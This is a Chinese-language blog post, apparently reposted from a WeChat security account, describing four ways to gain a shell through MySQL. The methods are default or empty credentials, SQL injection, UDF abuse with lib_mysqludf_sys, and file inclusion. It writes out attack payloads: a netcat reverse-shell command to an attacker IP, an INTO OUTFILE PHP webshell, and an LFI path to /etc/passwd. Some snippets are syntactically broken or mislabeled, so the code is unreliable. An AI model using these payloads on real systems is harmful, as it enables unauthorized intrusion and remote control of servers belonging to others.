【漏洞浅谈】Mysql get shell四姿势

admin 2023年2月22日02:18:14评论47 views字数 3320阅读11分4秒阅读模式
点击关注公众号,知识干货及时送达👇
前言:MySQL是一种流行的关系型数据库管理系统,用于存储和管理数据。MySQL服务器在默认情况下通常只允许经过身份验证的用户进行连接和操作,因此在许多情况下,攻击者需要在绕过身份验证后才能获取MySQL的Shell权限。在此为各位提供四个常用来获取mysql shell的小姿势。
【漏洞浅谈】Mysql get shell四姿势

一、利用未授权访问漏洞getshell

MySQL未授权访问漏洞是指攻击者可以通过未经身份验证和授权的方式连接到MySQL服务器,获取敏感信息或控制MySQL服务器。以下是通过一些攻击方法来利用此漏洞获得Shell权限
  1. 扫描网络中的MySQL服务
使用nmap等端口扫描工具扫描网络中的MySQL服务,确定MySQL的服务端口。
  1. 使用公开的默认凭证
尝试使用默认凭证,如root/root、root/空密码等登录MySQL服务器。如果服务器管理员没有修改默认凭证,则攻击者可以成功登录MySQL服务器。
  1. 使用已知的凭证
如果攻击者已经获取了MySQL服务器的凭证,可以使用这些凭证连接到MySQL服务器并获取Shell权限。
  1. 利用空口令漏洞
如果MySQL服务器允许空口令登录,则攻击者可以使用空口令登录到MySQL服务器。
  1. 利用反向代理
如果MySQL服务器没有防火墙等安全措施,攻击者可以使用反向代理连接到MySQL服务器,从而绕过MySQL服务器的IP访问控制和认证机制。
【漏洞浅谈】Mysql get shell四姿势

二、利用SQL 注入漏洞getshell

SQL注入攻击是一种广泛存在于Web应用程序中的安全漏洞,攻击者可以通过SQL注入攻击获取敏感信息、篡改数据甚至获取服务器Shell权限。下面是一种可能的攻击方法来利用SQL注入漏洞获取MySQL Shell权限:
  1. 找到目标网站上的SQL注入漏洞
使用SQL注入扫描工具(如SQLMap、Burp Suite等)扫描目标网站,找到存在SQL注入漏洞的页面。
  1. 利用SQL注入漏洞获取数据库信息
利用SQL注入漏洞获取目标网站的数据库信息,如数据库类型、数据库版本、数据库用户名和密码等。
  1. 利用获取的数据库凭证连接到MySQL服务器
使用获取到的MySQL用户名和密码,连接到MySQL服务器。
  1. 创建MySQL存储过程获取Shell权限
通过SQL注入漏洞,创建MySQL存储过程(Stored Procedure),并在存储过程中编写获取Shell权限的代码。例如:
#sqlDELIMITER //CREATE PROCEDURE getshell()BEGINDECLARE cmd varchar(255);SET cmd = 'nc -e /bin/bash attacker_ip attacker_port';SELECT INTO OUTFILE '/tmp/backdoor.sh' cmd;END //DELIMITER ;
该存储过程创建一个名为"getshell"的存储过程,执行该存储过程时,将在/tmp目录下创建一个名为"backdoor.sh"的脚本文件,并在该文件中写入nc反向Shell连接代码。
  1. 执行存储过程获取Shell权限
通过SQL注入漏洞,执行刚刚创建的MySQL存储过程,以获取Shell权限。例如:
#php
SELECT * FROM table WHERE id = 1 INTO OUTFILE '/tmp/1.php' LINES TERMINATED BY 'n<?php system($_GET["cmd"]); ?>n';CALL getshell();

在上述示例中,使用SELECT INTO OUTFILE语句将nc反向Shell连接代码写入/tmp/backdoor.sh文件,然后通过执行存储过程getshell()启动nc反向Shell连接,最终成功获取Shell权限。
【漏洞浅谈】Mysql get shell四姿势

三、利用 UDF 功能的漏洞

用户定义函数(User-Defined Functions,简称UDF)是MySQL中一种自定义函数的机制,可以使用C/C++等语言编写自定义函数,并将其作为MySQL内置函数来使用。由于UDF具有强大的功能和灵活性,同时也存在安全风险。如果MySQL服务器上的UDF功能存在漏洞,则攻击者可以利用该漏洞获取MySQL Shell权限。以下是一种可能的攻击方法:
  1. 查找目标系统上是否存在UDF功能
使用MySQL客户端工具(如mysql、Navicat等)连接到目标系统,并执行以下命令查看是否存在用户定义函数:
#sqlSHOW FUNCTION STATUS;

  1. 利用已知的UDF漏洞获取MySQL Shell权限
如果目标系统存在UDF功能,可以搜索已知的UDF漏洞并利用其获取Shell权限。例如,如果存在lib_mysqludf_sys UDF命令执行漏洞。
lib_mysqludf_sys是一种MySQL UDF,可以执行系统命令。如果该UDF未正确配置或未得到适当限制,攻击者可以使用该UDF执行任意系统命令,包括获取Shell权限。
利用此漏洞的方法是:
首先下载并编译lib_mysqludf_sys:
#ruby
wget https://github.com/mysqludf/lib_mysqludf_sys/archive/master.zipunzip master.zipcd lib_mysqludf_sys-master/gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
然后将编译好的lib_mysqludf_sys.so文件上传到目标系统上的临时目录,例如/tmp目录。
在MySQL客户端中执行以下命令加载lib_mysqludf_sys.so:
#sql
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';

执行任意系统命令获取Shell权限:
#java
SELECT sys_exec('nc -e /bin/bash attacker_ip attacker_port');

在上述示例中,使用sys_exec函数执行了nc反向Shell连接代码,成功获取了Shell权限。
【漏洞浅谈】Mysql get shell四姿势

四、利用文件包含漏洞

文件包含漏洞是指Web应用程序中的一个漏洞,攻击者可以通过该漏洞获取Web服务器上的敏感文件,包括配置文件、密码文件等。如果Web应用程序使用的是MySQL数据库,则攻击者可以尝试利用文件包含漏洞获取MySQL Shell权限。以下是一种可能的攻击方法:
  1. 查找目标系统上是否存在文件包含漏洞
使用Web漏洞扫描器或手动测试方法,查找目标系统上是否存在文件包含漏洞。常见的文件包含漏洞类型包括LFI(Local File Inclusion)和RFI(Remote File Inclusion)。
  1. 利用文件包含漏洞读取敏感文件
如果存在文件包含漏洞,则攻击者可以通过该漏洞读取Web服务器上的敏感文件,包括Web应用程序的配置文件和密码文件等。例如,假设存在以下LFI漏洞:
#bashhttp://example.com/index.php?page=../../../../etc/passwd
使用上述URL可以将/etc/passwd文件读取到Web页面中。攻击者可以查看Web服务器上的文件系统,并查找包含数据库连接信息的配置文件。
  1. 获取MySQL连接信息并连接到MySQL数据库
在读取到包含数据库连接信息的配置文件后,攻击者可以获得MySQL数据库的用户名、密码、主机地址和端口号等信息。然后,使用这些信息连接到MySQL数据库:
#css
mysql -h [host] -P [port] -u [username] -p
输入密码查看隐藏内容

  1. 获取MySQL Shell权限
一旦连接到MySQL数据库,攻击者可以尝试使用已知的漏洞或利用尚未公开的漏洞获取MySQL Shell权限。例如,可以使用MySQL UDF漏洞、MySQL客户端工具漏洞等获取Shell权限。

- End -

点击下方名片,关注我们
觉得内容不错,就点下在看
如果不想错过新的内容推送,可以设为星标【漏洞浅谈】Mysql get shell四姿势

原文始发于微信公众号(希石安全团队):【漏洞浅谈】Mysql get shell四姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月22日02:18:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞浅谈】Mysql get shell四姿势http://cn-sec.com/archives/1563740.html

发表评论

匿名网友 填写信息